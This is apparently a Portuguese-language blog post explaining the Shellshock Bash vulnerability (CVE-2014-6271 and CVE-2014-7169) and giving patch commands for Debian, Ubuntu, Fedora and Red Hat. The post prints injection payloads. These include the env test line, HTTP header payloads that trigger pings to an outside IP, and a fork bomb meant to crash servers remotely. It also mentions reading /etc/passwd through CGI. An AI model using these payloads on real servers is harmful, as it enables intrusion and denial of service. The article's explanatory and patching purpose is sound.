Um bug (CVE-2014-7169 e CVE-2014-6271) descoberto por Stephane Chazelas no Bash está causando uma enorme preocupação na Internet, alguns estão colocando este bug lado a lado com o Heartbleed. Mas um bug em um shell deveria causar tanta preocupação assim? O Shell não passa ser executado apenas após você se autenticar no servidor via SSH ou FTP e outros serviços? Sim… e não.
Entendendo
Pra começar vamos entender a falha. O bash é um shell, ou um "interpretador de comandos" utilizado em todos os GNU/Linux e nos computadores da Apple. Então, em suma, ele deveria interpretar isso como um erro:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
O que esse código faz? Em um ambiente (environment) segmentado env x, ele executa uma função vazia não nomeada () { :;}, finaliza a declaração dessa função (;), concatena com um simples echo para informar a falha e por fim fecha o ambiente. Em seguida temos apenas uma execução de um ‘echo’ para informar que estamos realizando um teste. A saída esperada é a seguinte (caso você esteja vulnerável):
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
Caso seu bash não seja vulnerável, o resultado será o seguinte:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
Mas o que isso tem a ver com a Internet?
O fato é que o bash é utilizado por certos scripts CGI (Common Gateway Interface) para realizar o processamento de cabeçalhos HTTP. Como foi provado por Troy Hunt, com cabeçalhos da seguinte forma:
Cookie:() { :; }; ping -c 3 209.126.230.74 Host:() { :; }; ping -c 3 209.126.230.74 Referer:() { :; }; ping -c 3 209.126.230.74
Enviados a páginas geradas por CGI é possível realizar pings coordenados e distribuídos:
Quer algo melhor? Nesta resposta no Stackoverflow foi demonstrado que um simples script CGI aliado a cabeçalhos pré-preparados poderiam ser utilizado para obter o conteúdo do /etc/passwd de um servidor. Oura opção é criar um fork bomb:
$ () { :; }; :(){ :|: & };:
E travar o servidor remotamente sem precisar nem mesmo invadir o servidor.
Estou Vulnerável
Basicamente esse bug afeta todas as versões do bash até a versão 4.3. ou seja, quase 25 anos de versões do Bash estão suscetíveis a este bug.
O bom de se utilizar software livre é que tudo é consertado muito rápido. Atualmente a Red Hat, o CentOS, o Ubuntu e o Debian já possuem correções, bastando uma simples atualização de pacote.
# Debian & Ubuntu
$ sudo apt-get update && sudo apt-get install bash
# Fedora, CentOS e Red Hat
$ sudo yum update bash
Já em relação à Apple (OS X), eu não encontrei nenhum relato de correção…
Fontes: NGINX, ARS Technica e Security Blog
Comments
comments powered by Disqus